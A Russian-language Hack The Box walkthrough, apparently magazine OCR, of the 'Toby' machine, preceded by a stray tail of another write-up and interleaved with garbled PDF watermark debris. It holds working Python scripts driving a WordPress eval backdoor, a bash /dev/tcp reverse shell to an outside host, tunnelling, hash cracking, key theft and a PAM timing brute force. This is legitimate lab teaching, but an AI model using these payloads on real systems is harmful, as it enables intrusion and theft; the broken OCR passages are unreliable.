Выходит , до адреса функции encrypt мы должны передать 44 байта . Оста лось получить адрес функции . Для этого запускаем программу на удален ном хосте через отладчик GDB, запускаем программу (команда r), после чего посылаем сигнал завершения (Ctrl-C) и просматри ваем функцию encrypt (команда disas encrypt). Искомый адрес — 0x5655585b.
Получе ние адреса функции encrypt
Что удобно , адрес полностью состоит из печатаемых символов .
Нагрузка для переполнения буфера
После запуска программы ввода ПИН кода и нагрузки , переполняющей буфер, у нас спрашива ют путь к файлу . Таким образом нам удалось перейти к функции encrypt.
Провер ка полученных значений
Перезапись файла
Сначала я хотел перезаписать файл authorized_keys, чтобы потом подклю читься по SSH, но ничего не вышло . Тогда я решил перезаписать файл /etc/ passwd. Добавим туда нового пользовате ля с высокими привиле гиями. Но сначала зашифруем пароль этого пользовате ля.
|
|
Шифрование |
пароля нового пользовате |
ля |
|
|
||
|
|
|
|
|
|
|||
Затем |
скопиру |
ем содержимое |
файла /etc/passwd в |
файл /tmp/passwd |
||||
и добавим в конец строку , отвечающую |
за нашего пользовате |
ля . |
Добав ление записи в /tmp/passwd
Теперь проксорим этот файл.
src = open("/tmp/passwd", "rb").read()
dst = open("/tmp/passwd.n", "wb")
for i in src:
dst.write(bytes([i^0x9b]))
И укажем эти файлы в программе .
Эксплу ата ция уязвимос ти
Программа рухнула , но свою задачу выполнила . Осталось просто сменить пользовате ля и забрать флаг рута.
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ВЗЛАМЫВАЕМ СЕРВЕР ЧЕРЕЗ ЧЕРЕДУ ЧУЖИХ БЭКДОРОВ
Сегод ня мы с тобой разберем |
прохож |
|||||
дение «безумной » по сложности |
машины |
|||||
с площад ки Hack The Box. Посмотрим |
, |
|||||
как работает |
|
|
|
|
||
|
бэкдор |
для WordPress, |
||||
и используем |
его, чтобы |
получить доступ |
к хосту . Затем проник нем в Docker, перех ватим пароль пользовате ля при подклю чении к базе данных и секретный ключ при подклю чении к SSH. А в конце поищем, разберем и используем бэкдор в механиз ме аутентифика ции Linux.
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.121 toby.htb0
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Нашли четыре открытых порта :
•22 — служба OpenSSH 8.2p1;
•80 — веб сервер Nginx 1.18.0;
•10022 — служба OpenSSH 8.1;
•10080 — пока неизвес тный HTTP-сервер .
Как обычно , начнем с веб сервера , тем более Nmap сам нашел для нас файл robots.txt.
Этот файл использует ся для того, чтобы попросить крауле ры (например , Google или Яндекс) не трогать какие то определен ные каталоги . Например , никто не хочет, чтобы в поисковой выдаче появлялись страницы авториза ции админис тра торов сайта , файлы или персональ ная информация со страниц пользовате лей и прочие вещи в таком духе. Однако и злоумыш ленни ки пер вым делом просматри вают этот файл, чтобы узнать о файлах и каталогах , которые хочет спрятать админис тра тор сайта .
Сканирование веб-контента
В robots.txt записана директория wp-admin, говорящая нам о том, что сайт работает на WordPress. Если взглянуть в историю запросов Burp, то найдем
и новый поддомен , который добавляем в /etc/hosts.
10.10.11.121 toby.htb wordpress.toby.htb0
История запросов Burp
А на самом сайте находим сообщение о недавней атаке .
Главная страница сайта
Больше ничего любопытного найти не удалось , сканиро вание с помощью WPScan ничего интерес ного тоже не показало . А так как на сайте уже есть один поддомен , можем попытаться найти еще. Сканиро вать будем с помощью ffuf, а в качестве места для перебора указыва ем HTTP-заголовок
Host.
ffuf -u http://toby.htb -H "Host: FUZZ.toby.htb" -w subdomains-
top1million-110000.txt -t 256 -fs 108370
Резуль тат сканиро вания поддоменов
Находим новый поддомен backup, который сразу добавляем в /etc/hosts. А на сайте нас встречает Gogs — легковес ный сервис Git, написанный на Go.
10.10.11.121 toby.htb wordpress.toby.htb backup.toby.htb0
Главная страница сайта
ТОЧКА ВХОДА
В Git находим одного пользовате ля toby-admin, чьи репозитории не отоб ражаются .
Активные пользовате ли Gogs
Но попробу ем просканиро вать репозитории как каталоги с помощью того же fuf.
ffuf -u http://backup.toby.htb/toby-admin -w directory_2.3_medium_
lowercase.txt -t 2560
Сканиро вание каталогов
В итоге находим два каталога , один из которых не возвра щает никакого кон тента (starts). А вот репозиторий backup очень интересен , так как это исходные коды сайта wordpress.toby.htb.
Содер жимое репозитория backup
Скачива ем репозиторий (git clone http://backup.toby.htb/tobyadmin/backup.git) и для удобства открываем в каком нибудь редакторе для программи рования. Я буду использовать VSCode. Так как сайт постро ен на WordPress, первым делом получим учетные данные для подклю чения к базе данных . Они содержатся в файле wp-config.php.
Содер жимое файла wp-confg.php
Обратим внимание на хост mysql.toby.htb, о котором мы пока ничего не знаем . Пароль для подклю чения к базе данных по SSH подклю чить ся не помог, поэтому будем анализи ровать исходные коды. Сообщение об атаке было оставлено не просто так, скорее всего , нам нужно найти бэкдор . Так как это PHP-файлы , я попробовал поискать в них «опасные » функции . И находим интерес ное примене ние функции eval, которая нужна для выпол нения передаваемо го в нее кода на PHP.
Поиск по строкам
Перехо дим к файлу comment.php, где в функцию eval после несколь ких опе раций по преобра зова нию передается закодирован ная последова тель ность .
Содер жимое файла comment.php
Это не обычный код WordPress, поэтому остановим ся именно на нем. Пос
мотрим, где вызывается функция wp_handle_comment_submission.
Поиск по строкам
И видим вызов из файла wp-comments-post.php. То есть мы можем получить доступ к бэкдору при отправке коммента риев к посту . Давай разбирать ся с самим бэкдором .
ТОЧКА ОПОРЫ
Я скопиро вал код бэкдора и обернул его в теги PHP, чтобы получить декоди рованный код. Но там оказал ся точно такой же вложен ный код!
Модер низиро вание кода
Декоди рован ный бэкдор
Похоже , таких уровней вложен ности будет много . Я решил восполь зовать ся онлай новым сервисом для деобфуска ции кода.
Деобфусци рован ный код бэкдора
Здесь представ лен только механизм авториза ции для получения доступа к основному коду, которому передается управление через функцию
wp_validate_4034a3 (строка 8). Туда переправля ются переменные host и sec. Так, в коммента рии должны быть указаны help@toby.htb в качестве почтового адреса и http://test.toby.htb/ в качестве URL. Переменные host и sec должны быть разделены символом :, и перед этой последова тель ностью должна идти строка 746f6279. По синтакси су я решил, что sec — это порт, куда должен прийти бэкконнект . Откроем листенер и отправим пробный коммента рий.
Отправ ка коммента рия под постом
Но на листенер ничего не пришло . Тогда откроем Wireshark, отбросим весть трафик , связан ный с 80-м портом , и повторим наш коммент . И увидим попыт ку бэкконнек та на порт 20053!
Трафик в Wireshark
Переза пус тим листенер с указани ем нового порта и снова получим бэк коннект. В итоге вместо реверс шелла нам приходит какая то строка . Веро ятно, придет ся программи ровать самим. Давай автомати зиру ем отправку запроса и прием бэкконнек та .
import socket
import requests
for i in range(2):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 20053))
sock.listen(1)
try:
url = 'http://wordpress.toby.htb/wp-comments-post.php'
data = {"comment": "746f627910.10.14.82:4321", "author":
"ralf", "email": "help@toby.htb", "url": "http://test.toby.htb/",
"submit": "Post Comment", "comment_post_ID": "2", "comment_parent":
"0"
}
requests.post(url, data = data, timeout = 0.5)
except requests.exceptions.Timeout:
pass
conn, address = sock.accept()
data = conn.recv(1024)
print(data.decode())
conn.close()
sock.close()
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ВЗЛАМЫВАЕМ СЕРВЕР ЧЕРЕЗ ЧЕРЕДУ ЧУЖИХ БЭКДОРОВ
Выпол нение кода
Еще я заметил, что при каждом новом запросе первая часть строки ответа (GUID) изменяет ся , а вторая часть остается такой же за исключени ем двух символов .
Выпол нение кода
Это натолкну ло на мысль о том, что строка закодирова на в hex. И пред положение оказалось верным . Если у тебя установ лен пакет pwntools, можешь использовать команду unhex.
Декоди рова ние шестнад цатерич ных значений
Также получаем новую пометку : xor_key. Я попытался снова декодировать уже новое шестнад цатеричное значение , но получил какие то непонятные символы . Про XOR упомина ется неспрос та, поэтому нужно попробовать проксорить полученные данные , но с каким ключом ? Из всех используемых
данных мы не нашли примене ния только отправленно му параметру sec. Я использовал это значение в качестве ключа для XOR и получил внятную стро ку!
Декоди рова ние значения xor_key
Таким образом , при каждом новом запросе будет изменять ся лишь одна бук ва посередине . В дальнейшем для удобства в качестве значения sec будем указывать 00, чтобы не происхо дил XOR (так как x^0=x). Но это не все, пос кольку после получения строки соединение с сервером не обрывает ся . Поп робуем послать ему какую нибудь строку , на что нам снова придет ответ!
Тестирова ние бэкдора
Попыт ка декодировать HEX и ксорить полученную строку со значени ем sec не увенчалась успехом . Однако попробу ем использовать в качестве ключа код символа , отправляемо го нам сервером , — он обрамляется строками
KEY_PREFIX_ и _KEY_SUFFIX.
Декоди рова ние второго сообщения
Это строка cmd:, то есть у нас запрашива ют команду . Попробу ем отправить команду id вместо случай ной строки , при этом проксорив ее ключом сер вера. Конечно , это все автомати зиру ем .
import socket
import requests
import binascii
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 20053))
sock.listen(1)
try:
url = 'http://wordpress.toby.htb/wp-comments-post.php'
data = {"comment": "746f627910.10.14.82:00", "author": "ralf",
"email": "help@toby.htb", "url": "http://test.toby.htb/", "submit":
"Post Comment", "comment_post_ID": "9", "comment_parent": "0"}
requests.post(url, data = data, timeout = 0.5)
except requests.exceptions.Timeout:
pass
conn, address = sock.accept()
data = conn.recv(1024).split(b'|')[1].strip()
xor_key_hex = binascii.unhexlify(data).split(b':')[1]
key = binascii.unhexlify(xor_key_hex).split(b'_')[2][0]
command = b"id"
xor_command = bytes([c^key for c in command])
conn.send(xor_command)
data_xor_hex = conn.recv(1024).split(b'|')[1].strip()
data_xor = binascii.unhexlify(data_xor_hex)
result = bytes([c^key for c in data_xor]).decode()
print(result)
Выпол нение кода
И мы получаем RCE! Откроем листенер rlwrap -cAr nc -lvp 80 и выпол ним реверс шелл:
bash -c 'bash -i >& /dev/tcp/10.10.14.82/80 0>&1'
Сразу скажу , что пробросить соединение на порт 4321 не вышло , поэтому пробуем популярные веб порты , к примеру 80-й.
Получе ние бэкконнек та
ПРОДВИЖЕНИЕ Сбор учетных данных
Мы получаем доступ к хосту , но как повысить привиле гии ? Наиболее веро ятный способ получить учетку пользовате ля — завладеть его паролем.
Так как мы работаем от имени службы веб сервера (www-data), а на хосте установ лены два движка (WordPress и Gogs), можно попробовать получить учетные данные из их баз данных . Кстати , учетка для подклю чения к БД у нас уже есть — из файла wp-config.php. Осталось узнать адрес хоста mysql.
toby.htb.
nslookup mysql.toby.htb0
Получе ние адреса хоста по его DNS-имени
Посколь ку СУБД установ лена на другом хосте (скорее всего , это Docker), для удобной работы лучше постро ить SOCKS-туннель во внутреннюю сеть. Для этого будем использовать утилиту Chisel. Загружа ем собранную версию
и на локальный хост, и на удален ный . Для загрузки на удален ный хост:
• Откры ваем на локальном хосте в каталоге с программой простой веб сер
вер python3 -m http.server 88.
•На удален ном хосте выполняем команду curl http://10.10.14.82: 88/chisel -o chisel для загрузки .
•На локальном хосте запускаем серверную часть, ожидающую подклю чение на порт 88.
./chisel server -p 88 --reverse
Логи серверной части
На удален ном хосте запускаем клиент скую часть. В логах сервера мы должны увидеть информацию о подклю чении .
./chisel client 10.10.14.82:88 R:socks0
Логи серверной части
Туннель готов, осталось настро ить proxychains для проксирова ния трафика . В конфиг /etc/proxychains4.conf внесем следующую запись.
Содер жимое файла /etc/proxychains4.conf
А теперь подклю чаем ся к СУБД через наш туннель и смотрим список баз дан ных.
proxychains -q mysql -h 172.69.0.102 -u root
-pOnlyTheBestSecretsGoInShellScripts
show databases;
|
|
|
|
Список баз данных |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
Получа |
ем |
доступ |
сразу к обеим системам |
. |
Gogs хранит |
учетные |
данные |
|||
в столбцах |
name, passwd и salt таблицы |
user. |
|
|
|
|
use gogs;
select name,passwd,salt from user;
Получе ние критичес ки важных данных из базы Gogs
В базе WordPress обратим ся к столбцам user_login и user_pass таблицы wp_users.
Получе ние критичес ки важных данных из базы WordPress
Хеши из WordPress закидываем на перебор в hashcat, но у нас ничего не выходит. Мне подска зали использовать комбиниро ван ный список паролей с учетом имени пользовате ля . И это дало результат !
hashcat -m 400 --user hashes rockyou.txt0
Пароль пользовате ля
Получение доступа к Docker
С учеткой этого пользовате ля можем авторизо ваться в Gogs. Так мы получа ем доступ к двум закрытым репозитори ям.
Главная страница Gogs
Первый репозиторий содержит какую то базу, пока неясно , что это. А вот во втором содержится новое веб приложе ние .
История коммитов Personal-Webapp
Интерес нее всего код обработ чика /api/dbtest. Эта страница принима ет параметр secretdbtest_09ef, в котором должен передавать ся адрес хоста . Если мы передадим свой хост, то можем вызвать подклю чение к нему и таким образом забрать учетные данные для подклю чения к базе данных .
Исходный код пути роута /api/dbtest
Найдем хост, где разверну то это веб приложе ние . Попробу ем запросить адрес хоста personal.toby.htb (по имени приложе ния ).
nslookup personal.toby.htb0
Адрес хоста personal.toby.htb
Чтобы не разворачи вать локальную базу данных , восполь зуем ся инстру мен том RogueSQL. Запускаем скрипт и указыва ем ему любой файл.
python2 RogueSQL.py -f hashes0
Откро ем Wireshark и установим фильтр mysql. А затем с удален ного хоста обратим ся к найден ному веб приложе нию и передадим адрес своей машины.
curl http://172.69.0.104/api/dbtest?secretdbtest_09ef=10.10.14.820
В логах RogueSQL обнаружим информацию о подклю чении , а в Wireshark — прилетев шие пакеты.
Логи RogueSQL
Окно Wireshark
Нас интересу ет пакет Server Greeting, в котором передается соль, и Login Request, где передается хеш пароля.
Содер жимое пакета Server Greeting
Содер жимое пакета Login Request
Теперь нужно собрать хеш в формат hashcat:
$mysqlna$salt*hash0
Соль соберем из двух частей и предста вим в шестнад цатерич ном формате .
Кодиро вание соли для хеша
Тут нужно вспомнить , что перед кодом обработ чика /api/dbtest мы встре чали коммента рий , где было отмечено , что учетная запись добав лена 07/07/21 и удалена из окружения 10/07/21. Генератор пароля можно найти в более позднем коммите , причем он зависит от модуля random.
|
|
|
|
|
|
|
Коммит app.py |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
||||||
А функция |
random зависит от времени |
, когда |
она была вызвана |
, так |
||||||||||
как текущее время использует ся в качестве сида для генерации |
псевдослу |
|
||||||||||||
чайного |
числа . То есть, зная времен ные |
промежут |
ки , мы можем составить |
|||||||||||
список всех возможных |
паролей. |
|
|
|
|
|
|
|
||||||
Код для получения времени |
в формате |
Epoch из даты можно взять прямо |
||||||||||||
с сайта EpochConverter. |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Код конверте ра
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
|
-x |
|
n |
|
|
|
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ВЗЛАМЫВАЕМ СЕРВЕР ЧЕРЕЗ ЧЕРЕДУ ЧУЖИХ БЭКДОРОВ
А теперь сгенери руем список .
import random
import string
import calendar, time;
start = calendar.timegm(time.strptime('2021-07-07 00:00:00',
'%Y-%m-%d %H:%M:%S'))
finish = calendar.timegm(time.strptime('2021-07-11 00:00:00',
'%Y-%m-%d %H:%M:%S'))
chars = string.ascii_letters + string.digits
for t in range(start, finish):
random.seed(t)
password = ''.join([random.choice(chars) for i in range(32)])
print(password)
Отправ ляем хеш на брут по сгенери рован ному списку и получаем пароль.
hashcat -m 11200 jack.hash passwd.lst0
|
|
Пароль |
для подклю чения |
к базе данных |
|
|
|
|
|
||
Подклю чить ся |
к основному хосту по SSH с этим паролем не вышло . |
||||
Но получилось |
к хосту mysql.toby.htb. |
|
|
proxychains -q ssh jack@172.69.0.1020
Сессия пользовате ля jack
Выход из Docker
Чтобы провес ти разведку в «Докере» и поискать пути выхода из него, я использую скрипт Deepce, но в этот раз ему не удалось ничего найти .
Загрузим на хост pspy — приложе ние для мониторин га запускаемых
в системе процес сов . И спустя минуту увидим запуск команды SSH, а потом и SCP. Причем использует ся аутентифика ция по ключу , который, видимо, сох раняется на хост в момент подклю чения .
Логи pspy
Запус каем команду чтения ключа в бесконеч ном цикле . Как только ключ будет сохранен как /tmp/*/key, он отобразит ся у нас в консоли .
while : ; do cat /tmp/*/key 2>/dev/null ; done
SSH-ключ пользовате ля
И с этим ключом мы подклю чаем ся к основной системе .
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Никакие скрипты для разведки на локальном хосте не помогли , но у нас еще есть файл базы данных . Для просмотра я обычно использую DBBrowser. В базе нашлись всего две таблицы , имеющие по три записи.
Содер жимое таблицы enc_meta
Содер жимое таблицы support_enc
По названию столбцов можно понять, что таблицы содержат данные , зашиф рованные AES-CBC, а также соответс твующие ключи шифрования и векторы инициали зации. Расшифро вать можем с помощью известно го сайта
CyberChef.
Первое сообщение
Второе сообщение
Удалось расшифро вать два сообщения , третье оказалось битое. Во втором сообщении говорится , что аутентифика ция стала медленнее после атаки , но автомати чес кие сканеры ничего не нашли . Скорее всего , нам снова пред лагают найти и использовать бэкдор — на этот раз в механизме аутентифика ции.
Подключаемые модули аутентификации Linux
PAM (Pluggable Authentication Modules) — это набор библиотек для Unix-
подобных операци онных систем , предназна ченный для настрой ки аутен тификации между приложе ниями. Многие популярные приложе ния, с которы ми ты работаешь в Linux, внутри используют PAM. Например , утилита su.
Когда приложе ние запрашива ет аутентифика цию , PAM считыва ет соот ветству ющий конфигура цион ный файл. Конфигура цион ные файлы содержат списки модулей PAM и методы их обработ ки . Модули вызываются по очереди . Каждый вызов модуля генерирует успешный результат или отказ. Исходя из этих значений , конфигура цион ный файл возвра щает либо сообщение
об успешной аутентифика ции (authentication okay), либо сообщение об ошиб
ке (authentication failure).
Настрой ки содержатся в конфигура ционных файлах common-auth, commonaccount и common-session-noninteractive в каталоге /etc/pam.d/. Прос
мотрим первый .
Содер жимое файла /etc/pam.d/common-auth
В файле указан модуль mypam.so. Это явно что то нестандар тное , давай най дем сам файл модуля для дальнейше го анализа .
find / -name mypam.so 2>/dev/null0
Поиск модуля
Загружа ем модуль по SSH:
scp -i jack.key jack@toby.htb:/usr/lib/x86_64-linux-gnu/security/
mypam.so ./0
И закидываем в IDA Pro. Начинаем анализ с получения списка функций .
Список функций
Нас интересу ет функция pam_sm_authenticate, которая непосредс твен но выполняет задачу аутентифика ции пользовате ля .
Деком пиляция функции pam_sm_authenticate
Внутри функции происхо дит вызов pam_get_user (строка 29) для получения имени пользовате ля. После провер ки кеширования токена (функция pam_get_authtok, строка 42) запускает ся цикл, в котором десять раз посим вольно читается файл /etc/.bd и сразу сравнива ется с введен ным паролем. Если считан ный символ равен введен ному, то произво дится задержка
на 0,1 секунды (строки 54–72). Файл /etc/.bd доступен для чтения только суперполь зователю и содержит как раз десять символов .
Файл /etc/.bd
Задер жка после верно введен ного символа может служить индикато ром . А значит , мы можем просто посимволь но подобрать пароль. Первым делом я записал в файл все печатаемые символы .
python3 -c 'import string; print(" ".join(string.printable))' > list.
txt0
А затем накидал простой скрипт, который перебирает первый символ пароля и выводит время выполнения команды .
#!/bin/bash
for var in $(cat list.txt)
do
echo -n " |
$var |
" |
; echo $var' |
' | time su 2>&1 | grep |
elapsed | cut |
-d ' |
' |
-f 30 |
|
done |
|
|
|
|
Вывод скрипта
При вводе символа T задержка больше , чем в ответ на другие символы , а зна чит, мы на верном пути. Немного модернизиру ем скрипт, чтобы определять задержку автомати чес ки и выводить найден ный символ :
#!/bin/bash
passw=""
for var in $(cat list.txt)
do
|
echo -n |
" $var |
" |
; |
echo |
"$passw$var |
" | time su |
2>&1 | |
grep |
elapsed | |
cut -d |
' |
' |
-f 3 |
| grep -v '0:01.0' |
&& echo " - |
$var" & |
& break |
|
|
|
|
|
|
|
|
done |
|
|
|
|
|
|
|
|
Подбор первого символа
Немного изменим скрипт для подбора второго символа .
#!/bin/bash
passw="T"
for var in $(cat list.txt)
do
|
echo -n |
" $var |
" |
; |
echo |
"$passw$var |
" | time su |
2>&1 | |
grep |
elapsed | |
cut -d |
' |
' |
-f 3 |
| grep -v '0:01.1' |
&& echo " - |
$var" & |
& break |
|
|
|
|
|
|
|
|
done |
|
|
|
|
|
|
|
|
Подбор второго символа И таким образом перебираем все десять символов .
Подбор последне го символа
Когда получен последний символ , попробу ем сменить пользовате ля через su.
Флаг рута
Машина захвачена !